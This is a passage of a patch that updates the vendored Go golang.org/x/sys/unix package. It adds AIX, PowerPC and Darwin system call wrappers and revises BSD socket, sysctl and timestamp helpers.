-+// Therefore, the programmer must call dup2 instead of fcntl in this case.
-+
-+// FcntlInt performs a fcntl syscall on fd with the provided command and argument.
-+//sys FcntlInt(fd uintptr, cmd int, arg int) (r int,err error) = fcntl
-+
-+// FcntlFlock performs a fcntl syscall for the F_GETLK, F_SETLK or F_SETLKW command.
-+//sys FcntlFlock(fd uintptr, cmd int, lk *Flock_t) (err error) = fcntl
-+
-+//sys fcntl(fd int, cmd int, arg int) (val int, err error)
-+
-+/*
-+ * Direct access
-+ */
-+
-+//sys Acct(path string) (err error)
-+//sys Chdir(path string) (err error)
-+//sys Chroot(path string) (err error)
-+//sys Close(fd int) (err error)
-+//sys Dup(oldfd int) (fd int, err error)
-+//sys Exit(code int)
-+//sys Faccessat(dirfd int, path string, mode uint32, flags int) (err error)
-+//sys Fchdir(fd int) (err error)
-+//sys Fchmod(fd int, mode uint32) (err error)
-+//sys Fchmodat(dirfd int, path string, mode uint32, flags int) (err error)
-+//sys Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error)
-+//sys Fdatasync(fd int) (err error)
-+//sys Fsync(fd int) (err error)
-+// readdir_r
-+//sysnb Getpgid(pid int) (pgid int, err error)
-+
-+//sys Getpgrp() (pid int)
-+
-+//sysnb Getpid() (pid int)
-+//sysnb Getppid() (ppid int)
-+//sys Getpriority(which int, who int) (prio int, err error)
-+//sysnb Getrusage(who int, rusage *Rusage) (err error)
-+//sysnb Getsid(pid int) (sid int, err error)
-+//sysnb Kill(pid int, sig Signal) (err error)
-+//sys Klogctl(typ int, buf []byte) (n int, err error) = syslog
-+//sys Mkdir(dirfd int, path string, mode uint32) (err error)
-+//sys Mkdirat(dirfd int, path string, mode uint32) (err error)
-+//sys Mkfifo(path string, mode uint32) (err error)
-+//sys Mknod(path string, mode uint32, dev int) (err error)
-+//sys Mknodat(dirfd int, path string, mode uint32, dev int) (err error)
-+//sys Nanosleep(time *Timespec, leftover *Timespec) (err error)
-+//sys Open(path string, mode int, perm uint32) (fd int, err error) = open64
-+//sys Openat(dirfd int, path string, flags int, mode uint32) (fd int, err error)
-+//sys read(fd int, p []byte) (n int, err error)
-+//sys Readlink(path string, buf []byte) (n int, err error)
-+//sys Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error)
-+//sys Setdomainname(p []byte) (err error)
-+//sys Sethostname(p []byte) (err error)
-+//sysnb Setpgid(pid int, pgid int) (err error)
-+//sysnb Setsid() (pid int, err error)
-+//sysnb Settimeofday(tv *Timeval) (err error)
-+
-+//sys Setuid(uid int) (err error)
-+//sys Setgid(uid int) (err error)
-+
-+//sys Setpriority(which int, who int, prio int) (err error)
-+//sys Statx(dirfd int, path string, flags int, mask int, stat *Statx_t) (err error)
-+//sys Sync()
-+//sysnb Times(tms *Tms) (ticks uintptr, err error)
-+//sysnb Umask(mask int) (oldmask int)
-+//sysnb Uname(buf *Utsname) (err error)
-+//sys Unlink(path string) (err error)
-+//sys Unlinkat(dirfd int, path string, flags int) (err error)
-+//sys Ustat(dev int, ubuf *Ustat_t) (err error)
-+//sys write(fd int, p []byte) (n int, err error)
-+//sys readlen(fd int, p *byte, np int) (n int, err error) = read
-+//sys writelen(fd int, p *byte, np int) (n int, err error) = write
-+
-+//sys Dup2(oldfd int, newfd int) (err error)
-+//sys Fadvise(fd int, offset int64, length int64, advice int) (err error) = posix_fadvise64
-+//sys Fchown(fd int, uid int, gid int) (err error)
-+//sys fstat(fd int, stat *Stat_t) (err error)
-+//sys fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) = fstatat
-+//sys Fstatfs(fd int, buf *Statfs_t) (err error)
-+//sys Ftruncate(fd int, length int64) (err error)
-+//sysnb Getegid() (egid int)
-+//sysnb Geteuid() (euid int)
-+//sysnb Getgid() (gid int)
-+//sysnb Getuid() (uid int)
-+//sys Lchown(path string, uid int, gid int) (err error)
-+//sys Listen(s int, n int) (err error)
-+//sys lstat(path string, stat *Stat_t) (err error)
-+//sys Pause() (err error)
-+//sys Pread(fd int, p []byte, offset int64) (n int, err error) = pread64
-+//sys Pwrite(fd int, p []byte, offset int64) (n int, err error) = pwrite64
-+//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error)
-+//sys Pselect(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timespec, sigmask *Sigset_t) (n int, err error)
-+//sysnb Setregid(rgid int, egid int) (err error)
-+//sysnb Setreuid(ruid int, euid int) (err error)
-+//sys Shutdown(fd int, how int) (err error)
-+//sys Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int64, err error)
-+//sys stat(path string, statptr *Stat_t) (err error)
-+//sys Statfs(path string, buf *Statfs_t) (err error)
-+//sys Truncate(path string, length int64) (err error)
-+
-+//sys bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error)
-+//sys connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error)
-+//sysnb getgroups(n int, list *_Gid_t) (nn int, err error)
-+//sysnb setgroups(n int, list *_Gid_t) (err error)
-+//sys getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error)
-+//sys setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error)
-+//sysnb socket(domain int, typ int, proto int) (fd int, err error)
-+//sysnb socketpair(domain int, typ int, proto int, fd *[2]int32) (err error)
-+//sysnb getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error)
-+//sysnb getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error)
-+//sys recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error)
-+//sys sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error)
-+
-+// In order to use msghdr structure with Control, Controllen, nrecvmsg and nsendmsg must be used.
-+//sys recvmsg(s int, msg *Msghdr, flags int) (n int, err error) = nrecvmsg
-+//sys sendmsg(s int, msg *Msghdr, flags int) (n int, err error) = nsendmsg
-+
-+//sys munmap(addr uintptr, length uintptr) (err error)
-+
-+var mapper = &mmapper{
-+ active: make(map[*byte][]byte),
-+ mmap: mmap,
-+ munmap: munmap,
-+}
-+
-+func Mmap(fd int, offset int64, length int, prot int, flags int) (data []byte, err error) {
-+ return mapper.Mmap(fd, offset, length, prot, flags)
-+}
-+
-+func Munmap(b []byte) (err error) {
-+ return mapper.Munmap(b)
-+}
-+
-+//sys Madvise(b []byte, advice int) (err error)
-+//sys Mprotect(b []byte, prot int) (err error)
-+//sys Mlock(b []byte) (err error)
-+//sys Mlockall(flags int) (err error)
-+//sys Msync(b []byte, flags int) (err error)
-+//sys Munlock(b []byte) (err error)
-+//sys Munlockall() (err error)
-+
-+//sysnb pipe(p *[2]_C_int) (err error)
-+
-+func Pipe(p []int) (err error) {
-+ if len(p) != 2 {
-+ return EINVAL
-+ }
-+ var pp [2]_C_int
-+ err = pipe(&pp)
-+ p[0] = int(pp[0])
-+ p[1] = int(pp[1])
-+ return
-+}
-+
-+//sys poll(fds *PollFd, nfds int, timeout int) (n int, err error)
-+
-+func Poll(fds []PollFd, timeout int) (n int, err error) {
-+ if len(fds) == 0 {
-+ return poll(nil, 0, timeout)
-+ }
-+ return poll(&fds[0], len(fds), timeout)
-+}
-+
-+//sys gettimeofday(tv *Timeval, tzp *Timezone) (err error)
-+//sysnb Time(t *Time_t) (tt Time_t, err error)
-+//sys Utime(path string, buf *Utimbuf) (err error)
-+
-+//sys Getsystemcfg(label int) (n uint64)
-+
-+//sys umount(target string) (err error)
-+func Unmount(target string, flags int) (err error) {
-+ if flags != 0 {
-+ // AIX doesn't have any flags for umount.
-+ return ENOSYS
-+ }
-+ return umount(target)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_aix_ppc.go b/vendor/golang.org/x/sys/unix/syscall_aix_ppc.go
-new file mode 100644
-index 00000000..b3c8e330
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_aix_ppc.go
-@@ -0,0 +1,54 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build aix
-+// +build ppc
-+
-+package unix
-+
-+//sysnb Getrlimit(resource int, rlim *Rlimit) (err error) = getrlimit64
-+//sysnb Setrlimit(resource int, rlim *Rlimit) (err error) = setrlimit64
-+//sys Seek(fd int, offset int64, whence int) (off int64, err error) = lseek64
-+
-+//sys mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error)
-+
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: int32(sec), Nsec: int32(nsec)}
-+}
-+
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: int32(sec), Usec: int32(usec)}
-+}
-+
-+func (iov *Iovec) SetLen(length int) {
-+ iov.Len = uint32(length)
-+}
-+
-+func (msghdr *Msghdr) SetControllen(length int) {
-+ msghdr.Controllen = uint32(length)
-+}
-+
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
-+}
-+
-+func (cmsg *Cmsghdr) SetLen(length int) {
-+ cmsg.Len = uint32(length)
-+}
-+
-+func Fstat(fd int, stat *Stat_t) error {
-+ return fstat(fd, stat)
-+}
-+
-+func Fstatat(dirfd int, path string, stat *Stat_t, flags int) error {
-+ return fstatat(dirfd, path, stat, flags)
-+}
-+
-+func Lstat(path string, stat *Stat_t) error {
-+ return lstat(path, stat)
-+}
-+
-+func Stat(path string, statptr *Stat_t) error {
-+ return stat(path, statptr)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_aix_ppc64.go b/vendor/golang.org/x/sys/unix/syscall_aix_ppc64.go
-new file mode 100644
-index 00000000..9a6e0241
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_aix_ppc64.go
-@@ -0,0 +1,85 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build aix
-+// +build ppc64
-+
-+package unix
-+
-+//sysnb Getrlimit(resource int, rlim *Rlimit) (err error)
-+//sysnb Setrlimit(resource int, rlim *Rlimit) (err error)
-+//sys Seek(fd int, offset int64, whence int) (off int64, err error) = lseek
-+
-+//sys mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error) = mmap64
-+
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
-+}
-+
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: int64(sec), Usec: int32(usec)}
-+}
-+
-+func (iov *Iovec) SetLen(length int) {
-+ iov.Len = uint64(length)
-+}
-+
-+func (msghdr *Msghdr) SetControllen(length int) {
-+ msghdr.Controllen = uint32(length)
-+}
-+
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
-+}
-+
-+func (cmsg *Cmsghdr) SetLen(length int) {
-+ cmsg.Len = uint32(length)
-+}
-+
-+// In order to only have Timespec structure, type of Stat_t's fields
-+// Atim, Mtim and Ctim is changed from StTimespec to Timespec during
-+// ztypes generation.
-+// On ppc64, Timespec.Nsec is an int64 while StTimespec.Nsec is an
-+// int32, so the fields' value must be modified.
-+func fixStatTimFields(stat *Stat_t) {
-+ stat.Atim.Nsec >>= 32
-+ stat.Mtim.Nsec >>= 32
-+ stat.Ctim.Nsec >>= 32
-+}
-+
-+func Fstat(fd int, stat *Stat_t) error {
-+ err := fstat(fd, stat)
-+ if err != nil {
-+ return err
-+ }
-+ fixStatTimFields(stat)
-+ return nil
-+}
-+
-+func Fstatat(dirfd int, path string, stat *Stat_t, flags int) error {
-+ err := fstatat(dirfd, path, stat, flags)
-+ if err != nil {
-+ return err
-+ }
-+ fixStatTimFields(stat)
-+ return nil
-+}
-+
-+func Lstat(path string, stat *Stat_t) error {
-+ err := lstat(path, stat)
-+ if err != nil {
-+ return err
-+ }
-+ fixStatTimFields(stat)
-+ return nil
-+}
-+
-+func Stat(path string, statptr *Stat_t) error {
-+ err := stat(path, statptr)
-+ if err != nil {
-+ return err
-+ }
-+ fixStatTimFields(statptr)
-+ return nil
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_bsd.go b/vendor/golang.org/x/sys/unix/syscall_bsd.go
-index c2846b32..68605db6 100644
---- a/vendor/golang.org/x/sys/unix/syscall_bsd.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_bsd.go
-@@ -34,7 +34,7 @@ func Getgroups() (gids []int, err error) {
- return nil, nil
- }
-
-- // Sanity check group count. Max is 16 on BSD.
-+ // Sanity check group count. Max is 16 on BSD.
- if n < 0 || n > 1000 {
- return nil, EINVAL
- }
-@@ -63,15 +63,6 @@ func Setgroups(gids []int) (err error) {
- return setgroups(len(a), &a[0])
- }
-
--func ReadDirent(fd int, buf []byte) (n int, err error) {
-- // Final argument is (basep *uintptr) and the syscall doesn't take nil.
-- // 64 bits should be enough. (32 bits isn't even on 386). Since the
-- // actual system call is getdirentries64, 64 is a good guess.
-- // TODO(rsc): Can we use a single global basep for all calls?
-- var base = (*uintptr)(unsafe.Pointer(new(uint64)))
-- return Getdirentries(fd, buf, base)
--}
--
- // Wait status is 7 bits at bottom, either 0 (exited),
- // 0x7F (stopped), or a signal number that caused an exit.
- // The 0x80 bit is whether there was a core dump.
-@@ -86,6 +77,7 @@ const (
- shift = 8
-
- exited = 0
-+ killed = 9
- stopped = 0x7F
- )
-
-@@ -112,6 +104,8 @@ func (w WaitStatus) CoreDump() bool { return w.Signaled() && w&core != 0 }
-
- func (w WaitStatus) Stopped() bool { return w&mask == stopped && syscall.Signal(w>>shift) != SIGSTOP }
-
-+func (w WaitStatus) Killed() bool { return w&mask == killed && syscall.Signal(w>>shift) != SIGKILL }
-+
- func (w WaitStatus) Continued() bool { return w&mask == stopped && syscall.Signal(w>>shift) == SIGSTOP }
-
- func (w WaitStatus) StopSignal() syscall.Signal {
-@@ -206,7 +200,7 @@ func (sa *SockaddrDatalink) sockaddr() (unsafe.Pointer, _Socklen, error) {
- return unsafe.Pointer(&sa.raw), SizeofSockaddrDatalink, nil
- }
-
--func anyToSockaddr(rsa *RawSockaddrAny) (Sockaddr, error) {
-+func anyToSockaddr(fd int, rsa *RawSockaddrAny) (Sockaddr, error) {
- switch rsa.Addr.Family {
- case AF_LINK:
- pp := (*RawSockaddrDatalink)(unsafe.Pointer(rsa))
-@@ -243,7 +237,7 @@ func anyToSockaddr(rsa *RawSockaddrAny) (Sockaddr, error) {
- break
- }
- }
-- bytes := (*[10000]byte)(unsafe.Pointer(&pp.Path[0]))[0:n]
-+ bytes := (*[len(pp.Path)]byte)(unsafe.Pointer(&pp.Path[0]))[0:n]
- sa.Name = string(bytes)
- return sa, nil
-
-@@ -286,7 +280,7 @@ func Accept(fd int) (nfd int, sa Sockaddr, err error) {
- Close(nfd)
- return 0, nil, ECONNABORTED
- }
-- sa, err = anyToSockaddr(&rsa)
-+ sa, err = anyToSockaddr(fd, &rsa)
- if err != nil {
- Close(nfd)
- nfd = 0
-@@ -306,50 +300,21 @@ func Getsockname(fd int) (sa Sockaddr, err error) {
- rsa.Addr.Family = AF_UNIX
- rsa.Addr.Len = SizeofSockaddrUnix
- }
-- return anyToSockaddr(&rsa)
-+ return anyToSockaddr(fd, &rsa)
- }
-
- //sysnb socketpair(domain int, typ int, proto int, fd *[2]int32) (err error)
-
--func GetsockoptByte(fd, level, opt int) (value byte, err error) {
-- var n byte
-- vallen := _Socklen(1)
-- err = getsockopt(fd, level, opt, unsafe.Pointer(&n), &vallen)
-- return n, err
--}
--
--func GetsockoptInet4Addr(fd, level, opt int) (value [4]byte, err error) {
-- vallen := _Socklen(4)
-- err = getsockopt(fd, level, opt, unsafe.Pointer(&value[0]), &vallen)
-- return value, err
--}
--
--func GetsockoptIPMreq(fd, level, opt int) (*IPMreq, error) {
-- var value IPMreq
-- vallen := _Socklen(SizeofIPMreq)
-- err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
-- return &value, err
--}
--
--func GetsockoptIPv6Mreq(fd, level, opt int) (*IPv6Mreq, error) {
-- var value IPv6Mreq
-- vallen := _Socklen(SizeofIPv6Mreq)
-- err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
-- return &value, err
--}
--
--func GetsockoptIPv6MTUInfo(fd, level, opt int) (*IPv6MTUInfo, error) {
-- var value IPv6MTUInfo
-- vallen := _Socklen(SizeofIPv6MTUInfo)
-- err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
-- return &value, err
--}
--
--func GetsockoptICMPv6Filter(fd, level, opt int) (*ICMPv6Filter, error) {
-- var value ICMPv6Filter
-- vallen := _Socklen(SizeofICMPv6Filter)
-- err := getsockopt(fd, level, opt, unsafe.Pointer(&value), &vallen)
-- return &value, err
-+// GetsockoptString returns the string value of the socket option opt for the
-+// socket associated with fd at the given socket level.
-+func GetsockoptString(fd, level, opt int) (string, error) {
-+ buf := make([]byte, 256)
-+ vallen := _Socklen(len(buf))
-+ err := getsockopt(fd, level, opt, unsafe.Pointer(&buf[0]), &vallen)
-+ if err != nil {
-+ return "", err
-+ }
-+ return string(buf[:vallen-1]), nil
- }
-
- //sys recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error)
-@@ -385,7 +350,7 @@ func Recvmsg(fd int, p, oob []byte, flags int) (n, oobn int, recvflags int, from
- recvflags = int(msg.Flags)
- // source address is only specified if the socket is unconnected
- if rsa.Addr.Family != AF_UNSPEC {
-- from, err = anyToSockaddr(&rsa)
-+ from, err = anyToSockaddr(fd, &rsa)
- }
- return
- }
-@@ -448,8 +413,6 @@ func Kevent(kq int, changes, events []Kevent_t, timeout *Timespec) (n int, err e
- return kevent(kq, change, len(changes), event, len(events), timeout)
- }
-
--//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
--
- // sysctlmib translates name to mib number and appends any additional args.
- func sysctlmib(name string, args ...int) ([]_C_int, error) {
- // Translate name to mib number.
-@@ -547,6 +510,23 @@ func SysctlRaw(name string, args ...int) ([]byte, error) {
- return buf[:n], nil
- }
-
-+func SysctlClockinfo(name string) (*Clockinfo, error) {
-+ mib, err := sysctlmib(name)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ n := uintptr(SizeofClockinfo)
-+ var ci Clockinfo
-+ if err := sysctl(mib, (*byte)(unsafe.Pointer(&ci)), &n, nil, 0); err != nil {
-+ return nil, err
-+ }
-+ if n != SizeofClockinfo {
-+ return nil, EIO
-+ }
-+ return &ci, nil
-+}
-+
- //sys utimes(path string, timeval *[2]Timeval) (err error)
-
- func Utimes(path string, tv []Timeval) error {
-@@ -570,7 +550,12 @@ func UtimesNano(path string, ts []Timespec) error {
- if len(ts) != 2 {
- return EINVAL
- }
-- err := utimensat(AT_FDCWD, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)
-+ // Darwin setattrlist can set nanosecond timestamps
-+ err := setattrlistTimes(path, ts, 0)
-+ if err != ENOSYS {
-+ return err
-+ }
-+ err = utimensat(AT_FDCWD, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), 0)
- if err != ENOSYS {
- return err
- }
-@@ -590,6 +575,10 @@ func UtimesNanoAt(dirfd int, path string, ts []Timespec, flags int) error {
- if len(ts) != 2 {
- return EINVAL
- }
-+ err := setattrlistTimes(path, ts, flags)
-+ if err != ENOSYS {
-+ return err
-+ }
- return utimensat(dirfd, path, (*[2]Timespec)(unsafe.Pointer(&ts[0])), flags)
- }
-
-@@ -605,7 +594,14 @@ func Futimes(fd int, tv []Timeval) error {
- return futimes(fd, (*[2]Timeval)(unsafe.Pointer(&tv[0])))
- }
-
--//sys fcntl(fd int, cmd int, arg int) (val int, err error)
-+//sys poll(fds *PollFd, nfds int, timeout int) (n int, err error)
-+
-+func Poll(fds []PollFd, timeout int) (n int, err error) {
-+ if len(fds) == 0 {
-+ return poll(nil, 0, timeout)
-+ }
-+ return poll(&fds[0], len(fds), timeout)
-+}
-
- // TODO: wrap
- // Acct(name nil-string) (err error)
-diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin.1_12.go b/vendor/golang.org/x/sys/unix/syscall_darwin.1_12.go
-new file mode 100644
-index 00000000..6a15cba6
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_darwin.1_12.go
-@@ -0,0 +1,29 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build darwin,go1.12,!go1.13
-+
-+package unix
-+
-+import (
-+ "unsafe"
-+)
-+
-+func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-+ // To implement this using libSystem we'd need syscall_syscallPtr for
-+ // fdopendir. However, syscallPtr was only added in Go 1.13, so we fall
-+ // back to raw syscalls for this func on Go 1.12.
-+ var p unsafe.Pointer
-+ if len(buf) > 0 {
-+ p = unsafe.Pointer(&buf[0])
-+ } else {
-+ p = unsafe.Pointer(&_zero)
-+ }
-+ r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(p), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
-+ n = int(r0)
-+ if e1 != 0 {
-+ return n, errnoErr(e1)
-+ }
-+ return n, nil
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin.1_13.go b/vendor/golang.org/x/sys/unix/syscall_darwin.1_13.go
-new file mode 100644
-index 00000000..f911617b
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/syscall_darwin.1_13.go
-@@ -0,0 +1,101 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build darwin,go1.13
-+
-+package unix
-+
-+import "unsafe"
-+
-+//sys closedir(dir uintptr) (err error)
-+//sys readdir_r(dir uintptr, entry *Dirent, result **Dirent) (res Errno)
-+
-+func fdopendir(fd int) (dir uintptr, err error) {
-+ r0, _, e1 := syscall_syscallPtr(funcPC(libc_fdopendir_trampoline), uintptr(fd), 0, 0)
-+ dir = uintptr(r0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+func libc_fdopendir_trampoline()
-+
-+//go:linkname libc_fdopendir libc_fdopendir
-+//go:cgo_import_dynamic libc_fdopendir fdopendir "/usr/lib/libSystem.B.dylib"
-+
-+func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-+ // Simulate Getdirentries using fdopendir/readdir_r/closedir.
-+ // We store the number of entries to skip in the seek
-+ // offset of fd. See issue #31368.
-+ // It's not the full required semantics, but should handle the case
-+ // of calling Getdirentries or ReadDirent repeatedly.
-+ // It won't handle assigning the results of lseek to *basep, or handle
-+ // the directory being edited underfoot.
-+ skip, err := Seek(fd, 0, 1 /* SEEK_CUR */)
-+ if err != nil {
-+ return 0, err
-+ }
-+
-+ // We need to duplicate the incoming file descriptor
-+ // because the caller expects to retain control of it, but
-+ // fdopendir expects to take control of its argument.
-+ // Just Dup'ing the file descriptor is not enough, as the
-+ // result shares underlying state. Use Openat to make a really
-+ // new file descriptor referring to the same directory.
-+ fd2, err := Openat(fd, ".", O_RDONLY, 0)
-+ if err != nil {
-+ return 0, err
-+ }
-+ d, err := fdopendir(fd2)
-+ if err != nil {
-+ Close(fd2)
-+ return 0, err
-+ }
-+ defer closedir(d)
-+
-+ var cnt int64
-+ for {
-+ var entry Dirent
-+ var entryp *Dirent
-+ e := readdir_r(d, &entry, &entryp)
-+ if e != 0 {
-+ return n, errnoErr(e)
-+ }
-+ if entryp == nil {
-+ break
-+ }
-+ if skip > 0 {
-+ skip--
-+ cnt++
-+ continue
-+ }
-+ reclen := int(entry.Reclen)
-+ if reclen > len(buf) {
-+ // Not enough room. Return for now.
-+ // The counter will let us know where we should start up again.
-+ // Note: this strategy for suspending in the middle and
-+ // restarting is O(n^2) in the length of the directory. Oh well.
-+ break
-+ }
-+ // Copy entry into return buffer.
-+ s := struct {
-+ ptr unsafe.Pointer
-+ siz int
-+ cap int
-+ }{ptr: unsafe.Pointer(&entry), siz: reclen, cap: reclen}
-+ copy(buf, *(*[]byte)(unsafe.Pointer(&s)))
-+ buf = buf[reclen:]
-+ n += reclen
-+ cnt++
-+ }
-+ // Set the seek offset of the input fd to record
-+ // how many files we've already returned.
-+ _, err = Seek(fd, cnt, 0 /* SEEK_SET */)
-+ if err != nil {
-+ return n, err
-+ }
-+
-+ return n, nil
-+}
-diff --git a/vendor/golang.org/x/sys/unix/syscall_darwin.go b/vendor/golang.org/x/sys/unix/syscall_darwin.go
-index ad74a11f..9a5a6ee5 100644
---- a/vendor/golang.org/x/sys/unix/syscall_darwin.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_darwin.go
-@@ -13,7 +13,7 @@
- package unix
-
- import (
-- errorspkg "errors"
-+ "errors"
- "syscall"
- "unsafe"
- )
-@@ -36,6 +36,7 @@ func Getwd() (string, error) {
- return "", ENOTSUP
- }
-
-+// SockaddrDatalink implements the Sockaddr interface for AF_LINK type sockets.
- type SockaddrDatalink struct {
- Len uint8
- Family uint8
-@@ -54,7 +55,7 @@ func nametomib(name string) (mib []_C_int, err error) {
-
- // NOTE(rsc): It seems strange to set the buffer to have
- // size CTL_MAXNAME+2 but use only CTL_MAXNAME
-- // as the size. I don't know why the +2 is here, but the
-+ // as the size. I don't know why the +2 is here, but the
- // kernel uses +2 for its own implementation of this function.
- // I am scared that if we don't include the +2 here, the kernel
- // will silently write 2 words farther than we specify
-@@ -88,7 +89,6 @@ func direntNamlen(buf []byte) (uint64, bool) {
- return readInt(buf, unsafe.Offsetof(Dirent{}.Namlen), unsafe.Sizeof(Dirent{}.Namlen))
- }
-
--//sys ptrace(request int, pid int, addr uintptr, data uintptr) (err error)
- func PtraceAttach(pid int) (err error) { return ptrace(PT_ATTACH, pid, 0, 0) }
- func PtraceDetach(pid int) (err error) { return ptrace(PT_DETACH, pid, 0, 0) }
-
-@@ -109,7 +109,7 @@ type attrList struct {
-
- func getAttrList(path string, attrList attrList, attrBuf []byte, options uint) (attrs [][]byte, err error) {
- if len(attrBuf) < 4 {
-- return nil, errorspkg.New("attrBuf too small")
-+ return nil, errors.New("attrBuf too small")
- }
- attrList.bitmapCount = attrBitMapCount
-
-@@ -119,17 +119,8 @@ func getAttrList(path string, attrList attrList, attrBuf []byte, options uint) (
- return nil, err
- }
-
-- _, _, e1 := Syscall6(
-- SYS_GETATTRLIST,
-- uintptr(unsafe.Pointer(_p0)),
-- uintptr(unsafe.Pointer(&attrList)),
-- uintptr(unsafe.Pointer(&attrBuf[0])),
-- uintptr(len(attrBuf)),
-- uintptr(options),
-- 0,
-- )
-- if e1 != 0 {
-- return nil, e1
-+ if err := getattrlist(_p0, unsafe.Pointer(&attrList), unsafe.Pointer(&attrBuf[0]), uintptr(len(attrBuf)), int(options)); err != nil {
-+ return nil, err
- }
- size := *(*uint32)(unsafe.Pointer(&attrBuf[0]))
-
-@@ -145,12 +136,12 @@ func getAttrList(path string, attrList attrList, attrBuf []byte, options uint) (
- for i := uint32(0); int(i) < len(dat); {
- header := dat[i:]
- if len(header) < 8 {
-- return attrs, errorspkg.New("truncated attribute header")
-+ return attrs, errors.New("truncated attribute header")
- }
- datOff := *(*int32)(unsafe.Pointer(&header[0]))
- attrLen := *(*uint32)(unsafe.Pointer(&header[4]))
- if datOff < 0 || uint32(datOff)+attrLen > uint32(len(dat)) {
-- return attrs, errorspkg.New("truncated results; attrBuf too small")
-+ return attrs, errors.New("truncated results; attrBuf too small")
- }
- end := uint32(datOff) + attrLen
- attrs = append(attrs, dat[datOff:end])
-@@ -162,6 +153,8 @@ func getAttrList(path string, attrList attrList, attrBuf []byte, options uint) (
- return
- }
-
-+//sys getattrlist(path *byte, list unsafe.Pointer, buf unsafe.Pointer, size uintptr, options int) (err error)
-+
- //sysnb pipe() (r int, w int, err error)
-
- func Pipe(p []int) (err error) {
-@@ -179,14 +172,141 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- _p0 = unsafe.Pointer(&buf[0])
- bufsize = unsafe.Sizeof(Statfs_t{}) * uintptr(len(buf))
- }
-- r0, _, e1 := Syscall(SYS_GETFSSTAT64, uintptr(_p0), bufsize, uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = e1
-+ return getfsstat(_p0, bufsize, flags)
-+}
-+
-+func xattrPointer(dest []byte) *byte {
-+ // It's only when dest is set to NULL that the OS X implementations of
-+ // getxattr() and listxattr() return the current sizes of the named attributes.
-+ // An empty byte array is not sufficient. To maintain the same behaviour as the
-+ // linux implementation, we wrap around the system calls and pass in NULL when
-+ // dest is empty.
-+ var destp *byte
-+ if len(dest) > 0 {
-+ destp = &dest[0]
- }
-- return
-+ return destp
-+}
-+
-+//sys getxattr(path string, attr string, dest *byte, size int, position uint32, options int) (sz int, err error)
-+
-+func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-+ return getxattr(path, attr, xattrPointer(dest), len(dest), 0, 0)
-+}
-+
-+func Lgetxattr(link string, attr string, dest []byte) (sz int, err error) {
-+ return getxattr(link, attr, xattrPointer(dest), len(dest), 0, XATTR_NOFOLLOW)
-+}
-+
-+//sys fgetxattr(fd int, attr string, dest *byte, size int, position uint32, options int) (sz int, err error)
-+
-+func Fgetxattr(fd int, attr string, dest []byte) (sz int, err error) {
-+ return fgetxattr(fd, attr, xattrPointer(dest), len(dest), 0, 0)
-+}
-+
-+//sys setxattr(path string, attr string, data *byte, size int, position uint32, options int) (err error)
-+
